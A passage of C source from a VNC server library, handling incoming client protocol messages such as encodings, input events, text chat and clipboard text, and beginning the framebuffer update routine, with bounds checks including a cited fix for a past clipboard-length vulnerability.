cl->readyForSetColourMapEntries = TRUE; cl->screen->setTranslateFunction(cl); rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetPixelFormatMsg, sz_rfbSetPixelFormatMsg); return; case rfbFixColourMapEntries: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbFixColourMapEntriesMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetPixelFormatMsg, sz_rfbSetPixelFormatMsg); rfbLog("rfbProcessClientNormalMessage: %s", "FixColourMapEntries unsupported\n"); rfbCloseClient(cl); return; /* NOTE: Some clients send us a set of encodings (ie: PointerPos) designed to enable/disable features... * We may want to look into this... * Example: * case rfbEncodingXCursor: * cl->enableCursorShapeUpdates = TRUE; * * Currently: cl->enableCursorShapeUpdates can *never* be turned off... */ case rfbSetEncodings: { if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetEncodingsMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } msg.se.nEncodings = Swap16IfLE(msg.se.nEncodings); rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetEncodingsMsg+(msg.se.nEncodings*4),sz_rfbSetEncodingsMsg+(msg.se.nEncodings*4)); /* * UltraVNC Client has the ability to adapt to changing network environments * So, let's give it a change to tell us what it wants now! */ if (cl->preferredEncoding!=-1) lastPreferredEncoding = cl->preferredEncoding; /* Reset all flags to defaults (allows us to switch between PointerPos and Server Drawn Cursors) */ cl->preferredEncoding=-1; cl->useCopyRect = FALSE; cl->useNewFBSize = FALSE; cl->cursorWasChanged = FALSE; cl->useRichCursorEncoding = FALSE; cl->enableCursorPosUpdates = FALSE; cl->enableCursorShapeUpdates = FALSE; cl->enableCursorShapeUpdates = FALSE; cl->enableLastRectEncoding = FALSE; cl->enableKeyboardLedState = FALSE; cl->enableSupportedMessages = FALSE; cl->enableSupportedEncodings = FALSE; cl->enableServerIdentity = FALSE; #if defined(LIBVNCSERVER_HAVE_LIBZ) || defined(LIBVNCSERVER_HAVE_LIBPNG) cl->tightQualityLevel = -1; #ifdef LIBVNCSERVER_HAVE_LIBJPEG cl->tightCompressLevel = TIGHT_DEFAULT_COMPRESSION; cl->turboSubsampLevel = TURBO_DEFAULT_SUBSAMP; cl->turboQualityLevel = -1; #endif #endif for (i = 0; i < msg.se.nEncodings; i++) { if ((n = rfbReadExact(cl, (char *)&enc, 4)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } enc = Swap32IfLE(enc); switch (enc) { case rfbEncodingCopyRect: cl->useCopyRect = TRUE; break; case rfbEncodingRaw: case rfbEncodingRRE: case rfbEncodingCoRRE: case rfbEncodingHextile: case rfbEncodingUltra: #ifdef LIBVNCSERVER_HAVE_LIBZ case rfbEncodingZlib: case rfbEncodingZRLE: case rfbEncodingZYWRLE: #ifdef LIBVNCSERVER_HAVE_LIBJPEG case rfbEncodingTight: #endif #endif #ifdef LIBVNCSERVER_HAVE_LIBPNG case rfbEncodingTightPng: #endif /* The first supported encoding is the 'preferred' encoding */ if (cl->preferredEncoding == -1) cl->preferredEncoding = enc; break; case rfbEncodingXCursor: if(!cl->screen->dontConvertRichCursorToXCursor) { rfbLog("Enabling X-style cursor updates for client %s\n", cl->host); /* if cursor was drawn, hide the cursor */ if(!cl->enableCursorShapeUpdates) rfbRedrawAfterHideCursor(cl,NULL); cl->enableCursorShapeUpdates = TRUE; cl->cursorWasChanged = TRUE; } break; case rfbEncodingRichCursor: rfbLog("Enabling full-color cursor updates for client %s\n", cl->host); /* if cursor was drawn, hide the cursor */ if(!cl->enableCursorShapeUpdates) rfbRedrawAfterHideCursor(cl,NULL); cl->enableCursorShapeUpdates = TRUE; cl->useRichCursorEncoding = TRUE; cl->cursorWasChanged = TRUE; break; case rfbEncodingPointerPos: if (!cl->enableCursorPosUpdates) { rfbLog("Enabling cursor position updates for client %s\n", cl->host); cl->enableCursorPosUpdates = TRUE; cl->cursorWasMoved = TRUE; } break; case rfbEncodingLastRect: if (!cl->enableLastRectEncoding) { rfbLog("Enabling LastRect protocol extension for client " "%s\n", cl->host); cl->enableLastRectEncoding = TRUE; } break; case rfbEncodingNewFBSize: if (!cl->useNewFBSize) { rfbLog("Enabling NewFBSize protocol extension for client " "%s\n", cl->host); cl->useNewFBSize = TRUE; } break; case rfbEncodingKeyboardLedState: if (!cl->enableKeyboardLedState) { rfbLog("Enabling KeyboardLedState protocol extension for client " "%s\n", cl->host); cl->enableKeyboardLedState = TRUE; } break; case rfbEncodingSupportedMessages: if (!cl->enableSupportedMessages) { rfbLog("Enabling SupportedMessages protocol extension for client " "%s\n", cl->host); cl->enableSupportedMessages = TRUE; } break; case rfbEncodingSupportedEncodings: if (!cl->enableSupportedEncodings) { rfbLog("Enabling SupportedEncodings protocol extension for client " "%s\n", cl->host); cl->enableSupportedEncodings = TRUE; } break; case rfbEncodingServerIdentity: if (!cl->enableServerIdentity) { rfbLog("Enabling ServerIdentity protocol extension for client " "%s\n", cl->host); cl->enableServerIdentity = TRUE; } break; case rfbEncodingXvp: if (cl->screen->xvpHook) { rfbLog("Enabling Xvp protocol extension for client " "%s\n", cl->host); if (!rfbSendXvp(cl, 1, rfbXvp_Init)) { rfbCloseClient(cl); return; } } break; default: #if defined(LIBVNCSERVER_HAVE_LIBZ) || defined(LIBVNCSERVER_HAVE_LIBPNG) if ( enc >= (uint32_t)rfbEncodingCompressLevel0 && enc <= (uint32_t)rfbEncodingCompressLevel9 ) { cl->zlibCompressLevel = enc & 0x0F; #ifdef LIBVNCSERVER_HAVE_LIBJPEG cl->tightCompressLevel = enc & 0x0F; rfbLog("Using compression level %d for client %s\n", cl->tightCompressLevel, cl->host); #endif } else if ( enc >= (uint32_t)rfbEncodingQualityLevel0 && enc <= (uint32_t)rfbEncodingQualityLevel9 ) { cl->tightQualityLevel = enc & 0x0F; rfbLog("Using image quality level %d for client %s\n", cl->tightQualityLevel, cl->host); #ifdef LIBVNCSERVER_HAVE_LIBJPEG cl->turboQualityLevel = tight2turbo_qual[enc & 0x0F]; cl->turboSubsampLevel = tight2turbo_subsamp[enc & 0x0F]; rfbLog("Using JPEG subsampling %d, Q%d for client %s\n", cl->turboSubsampLevel, cl->turboQualityLevel, cl->host); } else if ( enc >= (uint32_t)rfbEncodingFineQualityLevel0 + 1 && enc <= (uint32_t)rfbEncodingFineQualityLevel100 ) { cl->turboQualityLevel = enc & 0xFF; rfbLog("Using fine quality level %d for client %s\n", cl->turboQualityLevel, cl->host); } else if ( enc >= (uint32_t)rfbEncodingSubsamp1X && enc <= (uint32_t)rfbEncodingSubsampGray ) { cl->turboSubsampLevel = enc & 0xFF; rfbLog("Using subsampling level %d for client %s\n", cl->turboSubsampLevel, cl->host); #endif } else #endif { rfbExtensionData* e; for(e = cl->extensions; e;) { rfbExtensionData* next = e->next; if(e->extension->enablePseudoEncoding && e->extension->enablePseudoEncoding(cl, &e->data, (int)enc)) /* ext handles this encoding */ break; e = next; } if(e == NULL) { rfbBool handled = FALSE; /* if the pseudo encoding is not handled by the enabled extensions, search through all extensions. */ rfbProtocolExtension* e; for(e = rfbGetExtensionIterator(); e;) { int* encs = e->pseudoEncodings; while(encs && *encs!=0) { if(*encs==(int)enc) { void* data = NULL; if(!e->enablePseudoEncoding(cl, &data, (int)enc)) { rfbLog("Installed extension pretends to handle pseudo encoding 0x%x, but does not!\n",(int)enc); } else { rfbEnableExtension(cl, e, data); handled = TRUE; e = NULL; break; } } encs++; } if(e) e = e->next; } rfbReleaseExtensionIterator(); if(!handled) rfbLog("rfbProcessClientNormalMessage: " "ignoring unsupported encoding type %s\n", encodingName(enc,encBuf,sizeof(encBuf))); } } } } if (cl->preferredEncoding == -1) { if (lastPreferredEncoding==-1) { cl->preferredEncoding = rfbEncodingRaw; rfbLog("Defaulting to %s encoding for client %s\n", encodingName(cl->preferredEncoding,encBuf,sizeof(encBuf)),cl->host); } else { cl->preferredEncoding = lastPreferredEncoding; rfbLog("Sticking with %s encoding for client %s\n", encodingName(cl->preferredEncoding,encBuf,sizeof(encBuf)),cl->host); } } else { if (lastPreferredEncoding==-1) { rfbLog("Using %s encoding for client %s\n", encodingName(cl->preferredEncoding,encBuf,sizeof(encBuf)),cl->host); } else { rfbLog("Switching from %s to %s Encoding for client %s\n", encodingName(lastPreferredEncoding,encBuf2,sizeof(encBuf2)), encodingName(cl->preferredEncoding,encBuf,sizeof(encBuf)), cl->host); } } if (cl->enableCursorPosUpdates && !cl->enableCursorShapeUpdates) { rfbLog("Disabling cursor position updates for client %s\n", cl->host); cl->enableCursorPosUpdates = FALSE; } return; } case rfbFramebufferUpdateRequest: { sraRegionPtr tmpRegion; if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbFramebufferUpdateRequestMsg-1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbFramebufferUpdateRequestMsg,sz_rfbFramebufferUpdateRequestMsg); /* The values come in based on the scaled screen, we need to convert them to * values based on the main screen's coordinate system */ if(!rectSwapIfLEAndClip(&msg.fur.x,&msg.fur.y,&msg.fur.w,&msg.fur.h,cl)) { rfbLog("Warning, ignoring rfbFramebufferUpdateRequest: %dXx%dY-%dWx%dH\n",msg.fur.x, msg.fur.y, msg.fur.w, msg.fur.h); return; } tmpRegion = sraRgnCreateRect(msg.fur.x, msg.fur.y, msg.fur.x+msg.fur.w, msg.fur.y+msg.fur.h); LOCK(cl->updateMutex); sraRgnOr(cl->requestedRegion,tmpRegion); if (!cl->readyForSetColourMapEntries) { /* client hasn't sent a SetPixelFormat so is using server's */ cl->readyForSetColourMapEntries = TRUE; if (!cl->format.trueColour) { if (!rfbSetClientColourMap(cl, 0, 0)) { sraRgnDestroy(tmpRegion); TSIGNAL(cl->updateCond); UNLOCK(cl->updateMutex); return; } } } if (!msg.fur.incremental) { sraRgnOr(cl->modifiedRegion,tmpRegion); sraRgnSubtract(cl->copyRegion,tmpRegion); } TSIGNAL(cl->updateCond); UNLOCK(cl->updateMutex); sraRgnDestroy(tmpRegion); return; } case rfbKeyEvent: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbKeyEventMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbKeyEventMsg, sz_rfbKeyEventMsg); if(!cl->viewOnly) { cl->screen->kbdAddEvent(msg.ke.down, (rfbKeySym)Swap32IfLE(msg.ke.key), cl); } return; case rfbPointerEvent: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbPointerEventMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbPointerEventMsg, sz_rfbPointerEventMsg); if (cl->screen->pointerClient && cl->screen->pointerClient != cl) return; if (msg.pe.buttonMask == 0) cl->screen->pointerClient = NULL; else cl->screen->pointerClient = cl; if(!cl->viewOnly) { if (msg.pe.buttonMask != cl->lastPtrButtons || cl->screen->deferPtrUpdateTime == 0) { cl->screen->ptrAddEvent(msg.pe.buttonMask, ScaleX(cl->scaledScreen, cl->screen, Swap16IfLE(msg.pe.x)), ScaleY(cl->scaledScreen, cl->screen, Swap16IfLE(msg.pe.y)), cl); cl->lastPtrButtons = msg.pe.buttonMask; } else { cl->lastPtrX = ScaleX(cl->scaledScreen, cl->screen, Swap16IfLE(msg.pe.x)); cl->lastPtrY = ScaleY(cl->scaledScreen, cl->screen, Swap16IfLE(msg.pe.y)); cl->lastPtrButtons = msg.pe.buttonMask; } } return; case rfbFileTransfer: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbFileTransferMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } msg.ft.size = Swap32IfLE(msg.ft.size); msg.ft.length = Swap32IfLE(msg.ft.length); /* record statistics in rfbProcessFileTransfer as length is filled with garbage when it is not valid */ rfbProcessFileTransfer(cl, msg.ft.contentType, msg.ft.contentParam, msg.ft.size, msg.ft.length); return; case rfbSetSW: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetSWMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } msg.sw.x = Swap16IfLE(msg.sw.x); msg.sw.y = Swap16IfLE(msg.sw.y); rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetSWMsg, sz_rfbSetSWMsg); /* msg.sw.status is not initialized in the ultraVNC viewer and contains random numbers (why???) */ rfbLog("Received a rfbSetSingleWindow(%d x, %d y)\n", msg.sw.x, msg.sw.y); if (cl->screen->setSingleWindow!=NULL) cl->screen->setSingleWindow(cl, msg.sw.x, msg.sw.y); return; case rfbSetServerInput: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetServerInputMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetServerInputMsg, sz_rfbSetServerInputMsg); /* msg.sim.pad is not initialized in the ultraVNC viewer and contains random numbers (why???) */ /* msg.sim.pad = Swap16IfLE(msg.sim.pad); */ rfbLog("Received a rfbSetServerInput(%d status)\n", msg.sim.status); if (cl->screen->setServerInput!=NULL) cl->screen->setServerInput(cl, msg.sim.status); return; case rfbTextChat: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbTextChatMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } msg.tc.pad2 = Swap16IfLE(msg.tc.pad2); msg.tc.length = Swap32IfLE(msg.tc.length); switch (msg.tc.length) { case rfbTextChatOpen: case rfbTextChatClose: case rfbTextChatFinished: /* commands do not have text following */ /* Why couldn't they have used the pad byte??? */ str=NULL; rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbTextChatMsg, sz_rfbTextChatMsg); break; default: if ((msg.tc.length>0) && (msg.tc.length<rfbTextMaxSize)) { str = (char *)malloc(msg.tc.length); if (str==NULL) { rfbLog("Unable to malloc %d bytes for a TextChat Message\n", msg.tc.length); rfbCloseClient(cl); return; } if ((n = rfbReadExact(cl, str, msg.tc.length)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); free(str); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbTextChatMsg+msg.tc.length, sz_rfbTextChatMsg+msg.tc.length); } else { /* This should never happen */ rfbLog("client sent us a Text Message that is too big %d>%d\n", msg.tc.length, rfbTextMaxSize); rfbCloseClient(cl); return; } } /* Note: length can be commands: rfbTextChatOpen, rfbTextChatClose, and rfbTextChatFinished * at which point, the str is NULL (as it is not sent) */ if (cl->screen->setTextChat!=NULL) cl->screen->setTextChat(cl, msg.tc.length, str); free(str); return; case rfbClientCutText: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbClientCutTextMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } msg.cct.length = Swap32IfLE(msg.cct.length); /* uint32_t input is passed to malloc()'s size_t argument, * to rfbReadExact()'s int argument, to rfbStatRecordMessageRcvd()'s int * argument increased of sz_rfbClientCutTextMsg, and to setXCutText()'s int * argument. Here we impose a limit of 1 MB so that the value fits * into all of the types to prevent from misinterpretation and thus * from accessing uninitialized memory (CVE-2018-7225) and also to * prevent from a denial-of-service by allocating too much memory in * the server. */ if (msg.cct.length > 1<<20) { rfbLog("rfbClientCutText: too big cut text length requested: %u B > 1 MB\n", (unsigned int)msg.cct.length); rfbCloseClient(cl); return; } /* Allow zero-length client cut text. */ str = (char *)calloc(msg.cct.length ? msg.cct.length : 1, 1); if (str == NULL) { rfbLogPerror("rfbProcessClientNormalMessage: not enough memory"); rfbCloseClient(cl); return; } if ((n = rfbReadExact(cl, str, msg.cct.length)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); free(str); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbClientCutTextMsg+msg.cct.length, sz_rfbClientCutTextMsg+msg.cct.length); if(!cl->viewOnly) { cl->screen->setXCutText(str, msg.cct.length, cl); } free(str); return; case rfbPalmVNCSetScaleFactor: cl->PalmVNC = TRUE; if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetScaleMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } if (msg.ssc.scale == 0) { rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg); rfbLog("rfbSetScale(%d)\n", msg.ssc.scale); rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale); rfbSendNewScaleSize(cl); return; case rfbSetScale: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetScaleMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } if (msg.ssc.scale == 0) { rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg); rfbLog("rfbSetScale(%d)\n", msg.ssc.scale); rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale); rfbSendNewScaleSize(cl); return; case rfbXvp: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbXvpMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbXvpMsg, sz_rfbXvpMsg); /* only version when is defined, so echo back a fail */ if(msg.xvp.version != 1) { rfbSendXvp(cl, msg.xvp.version, rfbXvp_Fail); } else { /* if the hook exists and fails, send a fail msg */ if(cl->screen->xvpHook && !cl->screen->xvpHook(cl, msg.xvp.version, msg.xvp.code)) rfbSendXvp(cl, 1, rfbXvp_Fail); } return; default: { rfbExtensionData *e,*next; for(e=cl->extensions; e;) { next = e->next; if(e->extension->handleMessage && e->extension->handleMessage(cl, e->data, &msg)) { rfbStatRecordMessageRcvd(cl, msg.type, 0, 0); /* Extension should handle this */ return; } e = next; } rfbLog("rfbProcessClientNormalMessage: unknown message type %d\n", msg.type); rfbLog(" ... closing connection\n"); rfbCloseClient(cl); return; } } } /* * rfbSendFramebufferUpdate - send the currently pending framebuffer update to * the RFB client. * givenUpdateRegion is not changed. */ rfbBool rfbSendFramebufferUpdate(rfbClientPtr cl, sraRegionPtr givenUpdateRegion) { sraRectangleIterator* i=NULL; sraRect rect; int nUpdateRegionRects; rfbFramebufferUpdateMsg *fu = (rfbFramebufferUpdateMsg *)cl->updateBuf; sraRegionPtr updateRegion,updateCopyRegion,tmpRegion; int dx, dy; rfbBool sendCursorShape = FALSE; rfbBool sendCursorPos = FALSE; rfbBool sendKeyboardLedState = FALSE; rfbBool sendSupportedMessages = FALSE; rfbBool sendSupportedEncodings = FALSE; rfbBool sendServerIdentity = FALSE; rfbBool result = TRUE; if(cl->screen->displayHook) cl->screen->displayHook(cl); /* * If framebuffer size was changed and the client supports NewFBSize * encoding, just send NewFBSize marker and return. */ if (cl->useNewFBSize && cl->newFBSizePending) { LOCK(cl->updateMutex); cl->newFBSizePending = FALSE; UNLOCK(cl->updateMutex); fu->type = rfbFramebufferUpdate; fu->nRects = Swap16IfLE(1); cl->ublen = sz_rfbFramebufferUpdateMsg; if (!rfbSendNewFBSize(cl, cl->scaledScreen->width, cl->scaledScreen->height)) { if(cl->screen->displayFinishedHook) cl->screen->displayFinishedHook(cl, FALSE); return FALSE; } result = rfbSendUpdateBuf(cl); if(cl->screen->displayFinishedHook) cl->screen->displayFinishedHook(cl, result); return result; } /* * If this client understands cursor shape updates, cursor should be * removed from the framebuffer. Otherwise, make sure it's put up. */ if (cl->enableCursorShapeUpdates) { if (cl->cursorWasChanged && cl->readyForSetColourMapEntries) sendCursorShape = TRUE; } /* * Do we plan to send cursor position update? */ if (cl->enableCursorPosUpdates && cl->cursorWasMoved) sendCursorPos = TRUE; /* * Do we plan to send a keyboard state update? */ if ((cl->enableKeyboardLedState) && (cl->screen->getKeyboardLedStateHook!=NULL)) { int x; x=cl->screen->getKeyboardLedStateHook(cl->screen); if (x!=cl->lastKeyboardLedState) { sendKeyboardLedState = TRUE; cl->lastKeyboardLedState=x; } } /* * Do we plan to send a rfbEncodingSupportedMessages? */ if (cl->enableSupportedMessages) { sendSupportedMessages = TRUE; /* We only send this message ONCE <per setEncodings message received> * (We disable it here) */ cl->enableSupportedMessages = FALSE; } /* * Do we plan to send a rfbEncodingSupportedEncodings? */ if (cl->enableSupportedEncodings) { sendSupportedEncodings = TRUE; /* We only send this message ONCE <per setEncodings message received> * (We disable it here) */ cl->enableSupportedEncodings = FALSE; } /* * Do we plan to send a rfbEncodingServerIdentity? */ if (cl->enableServerIdentity) { sendServerIdentity = TRUE; /* We only send this message ONCE <per setEncodings message received> * (We disable it here) */ cl->enableServerIdentity = FALSE; } LOCK(cl->updateMutex); /* * The modifiedRegion may overlap the destination copyRegion. We remove * any overlapping bits from the copyRegion (since they'd only be * overwritten anyway). */ sraRgnSubtract(cl->copyRegion,cl->modifiedRegion); /* * The client is interested in the region requestedRegion. The region * which should be updated now is the intersection of requestedRegion * and the union of modifiedRegion and copyRegion. If it's empty then * no update is needed. */ updateRegion = sraRgnCreateRgn(givenUpdateRegion); if(cl->screen->progressiveSliceHeight>0) { int height=cl->screen->progressiveSliceHeight, y=cl->progressiveSliceY; sraRegionPtr bbox=sraRgnBBox(updateRegion); sraRect rect; if(sraRgnPopRect(bbox,&rect,0)) { sraRegionPtr slice; if(y<rect.y1 || y>=rect.y2) y=rect.y1; slice=sraRgnCreateRect(0,y,cl->screen->width,y+height); sraRgnAnd(updateRegion,slice); sraRgnDestroy(slice); } sraRgnDestroy(bbox); y+=height; if(y>=cl->screen->height) y=0; cl->progressiveSliceY=y; } sraRgnOr(updateRegion,cl->copyRegion); if(!sraRgnAnd(updateRegion,cl->requestedRegion) && sraRgnEmpty(updateRegion) && (cl->enableCursorShapeUpdates || (cl->cursorX == cl->screen->cursorX && cl->cursorY == cl->screen->cursorY)) && !sendCursorShape && !sendCursorPos && !sendKeyboardLedState && !sendSupportedMessages && !sendSupportedEncodings && !sendServerIdentity) { sraRgnDestroy(updateRegion); UNLOCK(cl->updateMutex); if(cl->screen->displayFinishedHook) cl->screen->displayFinishedHook(cl, TRUE); return TRUE; } /* * We assume that the client doesn't have any pixel data outside the * requestedRegion. In other words, both the source and destination of a * copy must lie within requestedRegion. So the region we can send as a * copy is the intersection of the copyRegion with both the requestedRegion * and the requestedRegion translated by the amount of the copy. We set * updateCopyRegion to this. */ updateCopyRegion = sraRgnCreateRgn(cl->copyRegion); sraRgnAnd(updateCopyRegion,cl->requestedRegion); tmpRegion = sraRgnCreateRgn(cl->requestedRegion); sraRgnOffset(tmpRegion,cl->copyDX,cl->copyDY); sraRgnAnd(updateCopyRegion,tmpRegion); sraRgnDestroy(tmpRegion); dx = cl->copyDX; dy = cl->copyDY; /* * Next we remove updateCopyRegion from updateRegion so that updateRegion * is the part of this update which is sent as ordinary pixel data (i.e not * a copy). */ sraRgnSubtract(updateRegion,updateCopyRegion); /* * Finally we leave modifiedRegion to be the remainder (if any) of parts of * the screen which are modified but outside the requestedRegion. We also * empty both the requestedRegion and the copyRegion - note that we never * carry over a copyRegion for a future update. */ sraRgnOr(cl->modifiedRegion,cl->copyRegion); sraRgnSubtract(cl->modifiedRegion,updateRegion); sraRgnSubtract(cl->modifiedRegion,updateCopyRegion); sraRgnMakeEmpty(cl->requestedRegion); sraRgnMakeEmpty(cl->copyRegion); cl->copyDX = 0; cl->copyDY = 0; UNLOCK(cl->updateMutex); if (!cl->enableCursorShapeUpdates) { if(cl->cursorX != cl->screen->cursorX || cl->cursorY != cl->screen->cursorY) { rfbRedrawAfterHideCursor(cl,updateRegion); LOCK(cl->screen->cursorMutex); cl->cursorX = cl->screen->cursorX; cl->cursorY = cl->screen->cursorY; UNLOCK(cl->screen->cursorMutex); rfbRedrawAfterHideCursor(cl,updateRegion); } rfbShowCursor(cl); } /* * Now send the update. */ rfbStatRecordMessageSent(cl, rfbFramebufferUpdate, 0, 0); if (cl->preferredEncoding == rfbEncodingCoRRE) { nUpdateRegionRects = 0; for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; int rectsPerRow, rows; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); rectsPerRow = (w-1)/cl->correMaxWidth+1; rows = (h-1)/cl->correMaxHeight+1; nUpdateRegionRects += rectsPerRow*rows; } sraRgnReleaseIterator(i); i=NULL; } else if (cl->preferredEncoding == rfbEncodingUltra) { nUpdateRegionRects = 0; for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); nUpdateRegionRects += (((h-1) / (ULTRA_MAX_SIZE( w ) / w)) + 1); } sraRgnReleaseIterator(i); i=NULL; #ifdef LIBVNCSERVER_HAVE_LIBZ } else if (cl->preferredEncoding == rfbEncodingZlib) { nUpdateRegionRects = 0; for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); nUpdateRegionRects += (((h-1) / (ZLIB_MAX_SIZE( w ) / w)) + 1); } sraRgnReleaseIterator(i); i=NULL; #ifdef LIBVNCSERVER_HAVE_LIBJPEG } else if (cl->preferredEncoding == rfbEncodingTight) { nUpdateRegionRects = 0; for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; int n; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); n = rfbNumCodedRectsTight(cl, x, y, w, h); if (n == 0) { nUpdateRegionRects = 0xFFFF; break; } nUpdateRegionRects += n; } sraRgnReleaseIterator(i); i=NULL; #endif #endif #if defined(LIBVNCSERVER_HAVE_LIBJPEG) && defined(LIBVNCSERVER_HAVE_LIBPNG) } else if (cl->preferredEncoding == rfbEncodingTightPng) { nUpdateRegionRects = 0; for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; int n; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); n = rfbNumCodedRectsTight(cl, x, y, w, h); if (n == 0) { nUpdateRegionRects = 0xFFFF; break; } nUpdateRegionRects += n; } sraRgnReleaseIterator(i); i=NULL; #endif } else { nUpdateRegionRects = sraRgnCountRects(updateRegion); } fu->type = rfbFramebufferUpdate; if (nUpdateRegionRects != 0xFFFF) { if(cl->screen->maxRectsPerUpdate>0 /* CoRRE splits the screen into smaller squares */ && cl->preferredEncoding != rfbEncodingCoRRE /* Ultra encoding splits rectangles up into smaller chunks */ && cl->preferredEncoding != rfbEncodingUltra #ifdef LIBVNCSERVER_HAVE_LIBZ /* Zlib encoding splits rectangles up into smaller chunks */ && cl->preferredEncoding != rfbEncodingZlib #ifdef LIBVNCSERVER_HAVE_LIBJPEG /* Tight encoding counts the rectangles differently */ && cl->preferredEncoding != rfbEncodingTight #endif #endif #ifdef LIBVNCSERVER_HAVE_LIBPNG /* Tight encoding counts the rectangles differently */ && cl->preferredEncoding != rfbEncodingTightPng #endif && nUpdateRegionRects>cl->screen->maxRectsPerUpdate) { sraRegion* newUpdateRegion = sraRgnBBox(updateRegion); sraRgnDestroy(updateRegion); updateRegion = newUpdateRegion; nUpdateRegionRects = sraRgnCountRects(updateRegion); } fu->nRects = Swap16IfLE((uint16_t)(sraRgnCountRects(updateCopyRegion) + nUpdateRegionRects + !!sendCursorShape + !!sendCursorPos + !!sendKeyboardLedState + !!sendSupportedMessages + !!sendSupportedEncodings + !!sendServerIdentity)); } else { fu->nRects = 0xFFFF; } cl->ublen = sz_rfbFramebufferUpdateMsg; if (sendCursorShape) { cl->cursorWasChanged = FALSE; 